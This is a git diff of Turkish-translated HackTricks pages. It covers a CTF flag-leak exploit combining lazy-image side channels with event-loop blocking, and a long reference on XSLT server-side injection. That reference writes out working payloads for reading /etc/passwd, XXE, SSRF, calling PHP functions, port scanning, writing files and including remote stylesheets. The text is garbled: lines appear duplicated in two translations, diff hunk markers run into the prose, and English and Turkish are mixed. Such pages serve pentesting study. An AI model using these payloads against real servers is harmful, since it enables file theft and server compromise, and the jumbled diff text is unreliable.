* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
[**Bu saldırıda**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) **tembel resim yan kanal** tekniğini HTML enjeksiyonu ile birleştirerek **olay döngüsü engelleme tekniği** kullanarak karakter sızdırır.
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) **temiz görüntü yan kanalı** tekniğini bir HTML enjeksiyonu ile **event loop blocking technique** ile birleştirerek karakterleri sızdırıyor.
Bu, zaten aşağıdaki sayfada yorumlanan bir CTF zorluk için **farklı bir saldırıdır**. Daha fazla bilgi için zorluk hakkında aşağıdaki sayfaya bakın:
Bu, aşağıdaki sayfada zaten yorumlanmış olan CTF zorluğu için **farklı bir istismar**. Zorluk hakkında daha fazla bilgi için göz atın:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Bu saldırının arkasındaki fikir şudur:
Bu istismarın arkasındaki fikir:
* Gönderiler alfabetik olarak yüklenir.
* Bir **saldırgan**, **"A"** ile başlayan bir **gönderi** enjekte edebilir, ardından biraz **HTML etiketi** (büyük bir **`<canvas`**) çoğu **ekranı dolduracak** ve bazı son **`<img lazy` etiketleri** şeyleri yüklemek için.
* Saldırgan, yerine "A" ile başlayan aynı gönderiyi enjekte ederse. **Bayrakla birlikte** **gönderi** önce görünecek, ardından **enjekte edilen** **gönderi** "z" ile başlayacak ve **büyük** **canvas** görünecektir. Bayrakla birlikte gönderi önce göründüğü için, ilk canvas tüm ekranı kaplayacak ve enjekte edilen **son** **`<img lazy`** etiketleri ekranında görünmeyeceği için yüklenmeyecektir.
* Ardından, bot sayfaya erişirken, saldırgan **fetch istekleri gönderecektir**.&#x20;
* Eğer gönderiye enjekte edilen **resimler yükleniyorsa**, bu **fetch** istekleri daha **uzun sürecektir**, bu nedenle saldırgan gönderinin bayraktan **önce** olduğunu bilir (alfabetik olarak).
* Eğer **fetch** istekleri **hızlı** ise, bu, gönderinin bayraktan **sonra** alfabetik olarak olduğu anlamına gelir.
* Bir **saldırgan** **"A"** ile başlayan bir **gönderi** **enjekte** edebilir, ardından büyük bir **`<canvas`** gibi bazı **HTML etiketleri** ekranın çoğunu dolduracak ve bazı son **`<img lazy` etiketleri** yüklemek için kullanılacaktır.
* Eğer bir "A" yerine **saldırgan aynı gönderiyi "z" ile başlatarak enjeksiyon yaparsa.** **Bayrak** ile olan **gönderi** **ilk** olarak görünecek, ardından **enjekte edilen** **gönderi** "z" ile başlayacak ve **büyük** **canvas** görünecektir. Bayrak ile olan gönderi ilk göründüğü için, ilk canvas tüm ekranı kaplayacak ve son **`<img lazy`** etiketleri ekranda **görünmeyecek**, bu nedenle **yüklenmeyecek**.
* Sonra, **bot** sayfaya **erişirken**, **saldırgan** **fetch istekleri** gönderecektir.&#x20;
* Eğer gönderideki **görüntüler** **yükleniyorsa**, bu **fetch** istekleri **daha uzun** sürecektir, bu nedenle saldırgan **gönderinin bayraktan önce olduğunu** bilecektir (alfabetik olarak).
* Eğer **fetch** istekleri **hızlıysa**, bu, **gönderinin** bayraktan **alfabetik olarak** **sonra** olduğunu gösterir.
Kodu kontrol edelim:
Kodumuza bakalım:
```html
<!DOCTYPE html>
<html>
@ -150,14 +153,17 @@ resolve(isFound)
</body>
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# XSLT Sunucu Tarafı Enjeksiyonu (Genişletilebilir Stil Şablon Dönüşümleri)
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
XSLT, XML belgelerini farklı formatlara dönüştürmek için kullanılan bir teknolojidir. Üç versiyonu vardır: 1, 2 ve 3, en yaygın olarak kullanılan sürüm 1'dir. Dönüşüm işlemi sunucu üzerinde veya tarayıcı içinde gerçekleştirilebilir.
XSLT, XML belgelerini farklı formatlara dönüştürmek için kullanılan bir teknolojidir. Üç versiyonu vardır: 1, 2 ve 3, bunlar arasında en yaygın olarak kullanılan versiyon 1'dir. Dönüşüm süreci, ya sunucu üzerinde ya da tarayıcı içinde gerçekleştirilebilir.
En sık kullanılan çerçeveler şunlardır:
- Gnome'dan **Libxslt**,
- Apache'den **Xalan**,
- Saxonica'dan **Saxon**.
- **Gnome'dan Libxslt,**
- **Apache'den Xalan,**
- **Saxonica'dan Saxon.**
XSLT ile ilişkili zafiyetlerin sömürülmesi için sunucu tarafında xsl etiketlerinin depolanması ve ardından bu içeriğe erişilmesi gerekmektedir. Bu tür bir zafiyetin bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
XSLT ile ilişkili güvenlik açıklarının istismar edilmesi için xsl etiketlerinin sunucu tarafında saklanması ve ardından bu içeriğe erişilmesi gerekmektedir. Böyle bir güvenlik açığının bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Örnek - Eğitim
```bash
@ -42,6 +45,8 @@ sudo apt-get install libsaxonb-java libsaxon-java
</cd>
</catalog>
```
{% endcode %}
{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -89,7 +94,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
</body>
</html>
```
### Parmak izi
### Parmak İzi
{% code title="detection.xsl" %}
```xml
@ -129,7 +134,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
### Yerel Dosya Okuma
### Yerel Dosyayı Oku
{% code title="read.xsl" %}
```xml
@ -154,7 +159,7 @@ games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
SSRF (Server Side Request Forgery), sunucu tarafında istek sahteciliği anlamına gelir. Bu saldırı türünde, saldırgan hedef sunucuya istekler yaparak sunucunun iç ağ kaynaklarına erişim sağlamaya çalışır. SSRF saldırıları genellikle sunucunun güvenlik açıklarından yararlanarak gerçekleştirilir. Saldırgan, hedef sunucuya zararlı bir URL göndererek, sunucunun iç ağa erişmesini sağlar. Bu saldırı türü, hassas verilere erişim, iç ağ kaynaklarının keşfi ve hatta sunucunun tamamen ele geçirilmesi gibi ciddi sonuçlara yol açabilir.
### SSRF
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
@ -162,7 +167,7 @@ SSRF (Server Side Request Forgery), sunucu tarafında istek sahteciliği anlamı
</xsl:template>
</xsl:stylesheet>
```
### Sürümler
### Versiyonlar
Kullanılan XSLT sürümüne bağlı olarak daha fazla veya daha az işlev olabilir:
@ -170,7 +175,7 @@ Kullanılan XSLT sürümüne bağlı olarak daha fazla veya daha az işlev olabi
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## Parmak izi
## Parmak İzi
Bunu yükleyin ve bilgi alın
```xml
@ -200,48 +205,12 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
## SSRF (Server Side Request Forgery)
SSRF (Sunucu Tarafı İstek Sahteciliği), bir saldırganın hedef sunucu üzerinde istekler yapmak için sunucunun güvenlik önlemlerini aşmasını sağlayan bir saldırı türüdür. SSRF, sunucunun güvenlik duvarını atlayarak, iç ağa erişim sağlamak veya dış sunuculara istekler yapmak gibi farklı amaçlarla kullanılabilir.
SSRF saldırıları genellikle web uygulamalarında bulunan güvenlik açıklarından yararlanarak gerçekleştirilir. Saldırgan, hedef sunucuya zararlı bir istek göndererek, sunucunun iç ağa veya dış sunuculara erişim sağlamasını sağlar.
SSRF saldırıları, hedef sunucunun güvenlik duvarını atlayarak iç ağa erişim sağlamak için kullanılabilir. Bu, saldırganın sunucunun iç ağına erişerek hassas verilere veya hedef sunucunun diğer bileşenlerine zarar verebilmesi anlamına gelir.
Ayrıca, SSRF saldırıları dış sunuculara istekler yapmak için de kullanılabilir. Saldırgan, hedef sunucunun IP adresini veya alan adını hedefleyen bir istek göndererek, sunucunun dış sunuculara erişim sağlamasını sağlar. Bu, saldırganın hedef sunucunun güvenlik duvarını atlayarak, dış sunuculara erişim sağlamasını ve potansiyel olarak hassas bilgilere erişmesini sağlar.
SSRF saldırılarını önlemek için, sunucu tarafında giriş doğrulama ve filtreleme yapılmalıdır. Gelen isteklerin güvenli bir şekilde işlenmesi ve sadece güvenilir kaynaklara erişim sağlanması önemlidir. Ayrıca, sunucunun iç ağına erişim sağlayan isteklerin sınırlanması ve dış sunuculara erişim için güvenlik duvarı kurulması da önemlidir.
## SSRF
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Javascript Enjeksiyonu
Javascript enjeksiyonu, bir web uygulamasının güvenlik açıklarını kullanarak kötü niyetli Javascript kodlarının enjekte edilmesini ifade eder. Bu tür bir saldırı, saldırganın web uygulamasının kullanıcıları üzerinde kontrol sağlamasına ve çeşitli zararlı eylemler gerçekleştirmesine olanak tanır.
### Javascript Enjeksiyonu Türleri
1. Reflected Javascript Injection: Bu tür enjeksiyon, kullanıcının girdilerinin doğrudan web uygulaması tarafından geri döndürüldüğü yerlerde gerçekleşir. Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek saldırıyı gerçekleştirir.
2. Stored Javascript Injection: Bu tür enjeksiyon, kullanıcının girdilerinin veritabanında saklandığı yerlerde gerçekleşir. Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek saldırıyı gerçekleştirir.
### Javascript Enjeksiyonu Saldırı Senaryoları
1. XSS (Cross-Site Scripting): Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek, kullanıcıların tarayıcılarında bu kodun çalışmasını sağlar. Bu sayede saldırgan, kullanıcıların oturum bilgilerini çalabilir, kullanıcıları başka bir siteye yönlendirebilir veya zararlı eylemler gerçekleştirebilir.
2. Clickjacking: Saldırgan, kullanıcının tıklama eylemlerini manipüle ederek, kullanıcıyı istenmeyen bir işlemi gerçekleştirmeye zorlar. Bu tür saldırılar genellikle zararlı bir web sayfası üzerinde gerçekleştirilir ve kullanıcının farkında olmadan zararlı bir işlemi gerçekleştirmesine neden olur.
### Javascript Enjeksiyonu Önleme Yöntemleri
1. Giriş Doğrulama ve Veri Temizleme: Kullanıcı girdileri doğru bir şekilde doğrulanmalı ve temizlenmelidir. Bu, zararlı Javascript kodunun enjekte edilmesini engelleyebilir.
2. Güvenli Kodlama Uygulamaları: Web uygulaması geliştiricileri, güvenli kodlama uygulamalarını takip etmelidir. Bu, güvenlik açıklarının minimize edilmesine yardımcı olabilir.
3. Güvenlik Duvarı Kullanımı: Web uygulamaları için güvenlik duvarı kullanmak, zararlı girişleri engelleyebilir ve saldırıları önleyebilir.
4. Güncel Yazılım Kullanımı: Web uygulamalarının güncel ve güvenli bir şekilde çalışması için yazılımların düzenli olarak güncellenmesi önemlidir.
Javascript enjeksiyonu, web uygulamalarının güvenliğini ciddi şekilde etkileyebilen bir saldırı türüdür. Bu nedenle, web uygulamalarının güvenliğini sağlamak için gerekli önlemlerin alınması önemlidir.
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -269,45 +238,6 @@ Javascript enjeksiyonu, web uygulamalarının güvenliğini ciddi şekilde etkil
</xsl:template></xsl:stylesheet>
```
### **Assert (var\_dump + scandir + false)**
Bu teknik, XSLT (Extensible Stylesheet Language Transformations) kullanarak sunucu tarafı enjeksiyonunu hedefler. Bu saldırı, hedef sunucunun XSLT işleme yeteneğini kötüye kullanır.
#### **Saldırı Aşamaları:**
1. İlk adımda, hedef sunucuya bir XSLT dosyası gönderilir. Bu dosya, hedef sunucunun XSLT işleyicisi tarafından işlenecektir.
2. XSLT dosyası içinde, `var_dump` ve `scandir` gibi işlevler kullanılarak hedef sunucunun dosya sistemi hakkında bilgi elde edilir.
3. Elde edilen bilgiler, saldırganın hedef sunucuda gezinmesine ve hassas verilere erişmesine olanak tanır.
#### **Örnek Kod:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
<xsl:template match="/">
<xsl:variable name="output">
<xsl:value-of select="php:function('var_dump', php:function('scandir', '.'))"/>
</xsl:variable>
<xsl:value-of select="$output"/>
</xsl:template>
</xsl:stylesheet>
```
Bu örnek kod, hedef sunucuda bulunan mevcut dizindeki dosyaları `scandir` işleviyle tarar ve sonucu `var_dump` işleviyle görüntüler.
#### **Korunma Yöntemleri:**
- Güvenlik duvarı ve WAF (Web Uygulama Güvenlik Duvarı) gibi güvenlik önlemleri kullanarak saldırıları engelleyin.
- XSLT işleme yeteneğini devre dışı bırakın veya sınırlayın.
- Giriş doğrulama ve veri doğrulama gibi güvenlik önlemlerini uygulayın.
- Güncel ve güvenli bir sunucu yazılımı kullanın.
- Hassas verileri korumak için erişim kontrolleri ve şifreleme kullanın.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@ -317,25 +247,9 @@ Bu örnek kod, hedef sunucuda bulunan mevcut dizindeki dosyaları `scandir` işl
</body>
</html>
```
### **İçerik - PHP**
## Dosyaları Oku
XSLT, XML tabanlı bir dönüşüm dilidir ve genellikle XML belgelerini başka bir formata dönüştürmek için kullanılır. Ancak, XSLT sunucusu tarafında gerçekleştirilen bir saldırı, sunucunun dosya sistemine erişim sağlayabilir ve hassas verileri ortaya çıkarabilir.
XSLT sunucusu tarafında gerçekleştirilen bir saldırıda, saldırgan, sunucunun dosya sistemine erişmek için XSLT'in `document()` işlevini kullanır. Bu işlev, belirli bir dosyayı okumak için kullanılır.
Örneğin, aşağıdaki XSLT kodu, `/etc/passwd` dosyasını okumak için `document()` işlevini kullanır:
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
Bu kod, sunucunun `/etc/passwd` dosyasını okuyacak ve sonucu döndürecektir. Saldırgan, bu yöntemi kullanarak sunucunun hassas verilerine erişebilir ve bu verileri kötü amaçlı amaçlar için kullanabilir.
Bu tür bir saldırıyı önlemek için, sunucunun XSLT işlevlerini sınırlamak veya devre dışı bırakmak önemlidir. Ayrıca, sunucunun dosya sistemine erişimi sınırlamak ve hassas verileri korumak için güvenlik önlemleri almak da önemlidir.
### **İçsel - PHP**
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
@ -343,34 +257,7 @@ Bu tür bir saldırıyı önlemek için, sunucunun XSLT işlevlerini sınırlama
</xsl:template>
</xsl:stylesheet>
```
### **İçsel - XXE**
XXE (Extensible Markup Language Entity Expansion) bir saldırı türüdür. Bu saldırı, XML ayrıştırıcının dış kaynakları işlemesine izin veren zayıf bir yapıya sahip olduğu durumlarda gerçekleştirilir. XXE saldırıları, sunucu tarafında XSLT (Extensible Stylesheet Language Transformations) kullanılarak gerçekleştirilebilir.
#### **XSLT Sunucu Tarafı Enjeksiyonu**
XSLT sunucu tarafı enjeksiyonu, XSLT dönüşüm işlemlerindeki güvenlik açıklarını hedefler. Bu saldırı türü, sunucunun XSLT dönüşüm işlemlerini gerçekleştirmek için harici bir kaynağı işlemesine izin veren bir zafiyet kullanır.
XSLT sunucu tarafı enjeksiyonu saldırısı, aşağıdaki adımlarla gerçekleştirilebilir:
1. Hedef uygulamada bir XML dosyası bulunur.
2. XML dosyası, sunucu tarafında XSLT dönüşüm işlemine tabi tutulur.
3. Saldırgan, XML dosyasında bir XXE saldırı vektörü ekler.
4. Sunucu, XSLT dönüşüm işlemi sırasında saldırganın kontrolü altındaki harici bir kaynağı işler.
5. Saldırgan, hassas verilere erişebilir veya sunucuda istismarlar gerçekleştirebilir.
Bu saldırı türü, sunucu tarafında XSLT dönüşüm işlemlerinin gerçekleştirildiği durumlarda kullanılabilir. Saldırgan, XXE saldırı vektörünü XML dosyasına ekleyerek sunucunun harici kaynakları işlemesini sağlar. Bu sayede saldırgan, sunucuda istismarlar gerçekleştirebilir veya hassas verilere erişebilir.
#### **Önleme Yöntemleri**
XSLT sunucu tarafı enjeksiyonu saldırılarını önlemek için aşağıdaki önlemler alınabilir:
- Giriş doğrulama ve filtreleme: Gelen XML verileri doğrulanmalı ve güvenli olmayan içerikler filtrelenmelidir.
- Harici kaynak işleme devre dışı bırakma: Sunucu tarafında harici kaynak işleme özelliği devre dışı bırakılmalıdır.
- Güncellemeleri takip etme: Sunucu tarafında kullanılan XSLT işleyicileri ve diğer bileşenler güncel tutulmalıdır.
- Güvenlik testleri: Uygulama, düzenli olarak güvenlik testlerine tabi tutulmalı ve zayıf noktalar tespit edilmelidir.
Bu önlemler, XSLT sunucu tarafı enjeksiyonu saldırılarını önlemeye yardımcı olabilir. Uygulama geliştiricileri ve sistem yöneticileri, güvenlik açıklarını tespit etmek ve düzeltmek için bu önlemleri uygulamalıdır.
### **İç - XXE**
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
@ -381,14 +268,6 @@ Bu önlemler, XSLT sunucu tarafı enjeksiyonu saldırılarını önlemeye yardı
</xsl:stylesheet>
```
### **HTTP Üzerinden**
XSLT sunucu tarafı enjeksiyonu, bir saldırganın hedef web uygulamasında XSLT (Extensible Stylesheet Language Transformations) kullanarak sunucu tarafında kod çalıştırmasına olanak tanır. Bu saldırı, hedef web uygulamasının XSLT işleme yeteneğine sahip olduğu durumlarda gerçekleştirilebilir.
XSLT, XML tabanlı bir dönüşüm dilidir ve XML belgelerini başka bir formata dönüştürmek için kullanılır. XSLT, bir XML belgesini alır ve belgeyi başka bir formata dönüştürmek için bir XSLT şablonu kullanır. Bu şablonlar, XSLT işlemcisi tarafından yorumlanır ve sonuç olarak dönüştürülmüş bir belge üretilir.
XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasına özel olarak hazırlanmış bir XSLT şablonu göndererek gerçekleştirilir. Bu şablon, saldırganın istediği kodu içerebilir ve sunucu tarafında çalıştırılabilir. Saldırgan, hedef web uygulamasının XSLT işlemcisi tarafından şablonun yorumlanması için bir HTTP isteği yapar ve sonuç olarak istediği kodun çalıştırılmasını sağlar.
XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasında yetkisiz olarak kod çalıştırmasına ve hassas verilere erişmesine olanak tanır. Bu saldırı türü, web uygulamasının XSLT işleme yeteneğini doğru bir şekilde sınırlamadığı durumlarda etkili olabilir.
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -405,7 +284,7 @@ XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasında yetkisiz
&passwd;
</xsl:template>
```
### **İç (PHP işlevi)**
### **Dahili (PHP-fonksiyonu)**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -425,8 +304,6 @@ XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasında yetkisiz
</html>
```
### Port taraması
Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanılan bir tekniktir. Bu teknik, bir saldırganın hedef sistemdeki ağ servislerini keşfetmesine ve potansiyel zayıflıkları tespit etmesine olanak tanır. Port taraması, saldırganın hedef sistemdeki ağ trafiğini analiz etmesini sağlar ve bu sayede hedef sistemdeki açık portları belirleyebilir. Bu bilgi, saldırganın hedef sistemdeki ağ servislerine erişim sağlamasına ve potansiyel olarak saldırılar gerçekleştirmesine olanak tanır. Port taraması genellikle güvenlik testleri ve ağ keşfi için kullanılır.
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -438,22 +315,6 @@ Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanıl
## Bir dosyaya yaz
### XSLT 2.0
XSLT 2.0, bir dosyaya yazmak için `xsl:result-document` öğesini kullanır. Bu öğe, XSLT dönüşümünün sonucunu belirtilen bir dosyaya yazmak için kullanılır.
Aşağıdaki örnek, XSLT 2.0 kullanarak bir dosyaya yazmayı göstermektedir:
```xml
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:result-document href="output.txt">
<xsl:text>Hello, World!</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
Bu örnekte, `xsl:result-document` öğesi `output.txt` adlı bir dosyaya "Hello, World!" metnini yazacaktır.
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -465,16 +326,6 @@ Bu örnekte, `xsl:result-document` öğesi `output.txt` adlı bir dosyaya "Hello
</xsl:stylesheet>
```
### **Xalan-J uzantısı**
Xalan-J, Apache Xalan projesinin bir parçasıdır ve XSLT (Extensible Stylesheet Language Transformations) dönüşümlerini gerçekleştirmek için kullanılan bir Java kütüphanesidir. Xalan-J, XSLT dönüşümlerini gerçekleştirmek için kullanılan bir dizi sınıf ve yöntem sağlar.
Xalan-J uzantısı, XSLT dönüşümlerinde sunucu tarafı enjeksiyonu gerçekleştirmek için kullanılabilir. Bu, saldırganın XSLT dönüşümünü manipüle ederek sunucuda istenmeyen kodun çalıştırılmasını sağlamasına olanak tanır.
Xalan-J uzantısı kullanılarak gerçekleştirilen bir saldırıda, saldırgan özel olarak hazırlanmış bir XSLT dosyasını hedef sunucuya gönderir. Bu dosya, sunucunun XSLT dönüşümünü gerçekleştirmek için kullandığı Xalan-J kütüphanesindeki bir güvenlik açığından yararlanır.
Bu tür bir saldırıda, saldırganın hedef sunucuda istenmeyen kodu çalıştırabilmesi için XSLT dönüşümünde kullanılan bazı özelliklerin kötüye kullanılması gerekebilir. Örneğin, saldırgan bir dosya sistemi gezgini kullanarak sunucuda dosya okuma veya yazma işlemleri gerçekleştirebilir.
Xalan-J uzantısı kullanılarak gerçekleştirilen sunucu tarafı enjeksiyon saldırıları, hedef sunucunun güvenlik açıklarını sömürerek hassas verilerin sızdırılmasına veya sunucunun kontrolünün ele geçirilmesine yol açabilir. Bu nedenle, Xalan-J uzantısının güvenli bir şekilde yapılandırıldığından ve güncellemelerin düzenli olarak uygulandığından emin olmak önemlidir.
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
@ -482,11 +333,9 @@ Xalan-J uzantısı kullanılarak gerçekleştirilen sunucu tarafı enjeksiyon sa
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
## Harici XSL dosyalarını dahil etmek
PDF'de dosya yazmanın diğer yolları
Bir PDF dosyasına dosya yazmanın diğer yolları
## Harici XSL dosyalarını dahil etmek
## Harici XSL dahil et
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```
@ -495,17 +344,9 @@ Bir PDF dosyasına dosya yazmanın diğer yolları
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
Bu yöntem, XSLT tarafından desteklenen bir işlev olan `php:function` kullanarak PHP kodunu yürütmek için kullanılır. Bu işlev, XSLT dönüşümü sırasında PHP işlevlerini çağırmak için kullanılır.
## Kod Çalıştır
Kullanımı şu şekildedir:
```xml
<xsl:value-of select="php:function('function_name', 'parameter1', 'parameter2', ...)" />
```
Burada `function_name` çağrılacak PHP işlevinin adını temsil eder ve `parameter1`, `parameter2`, vb. işlevin parametreleridir.
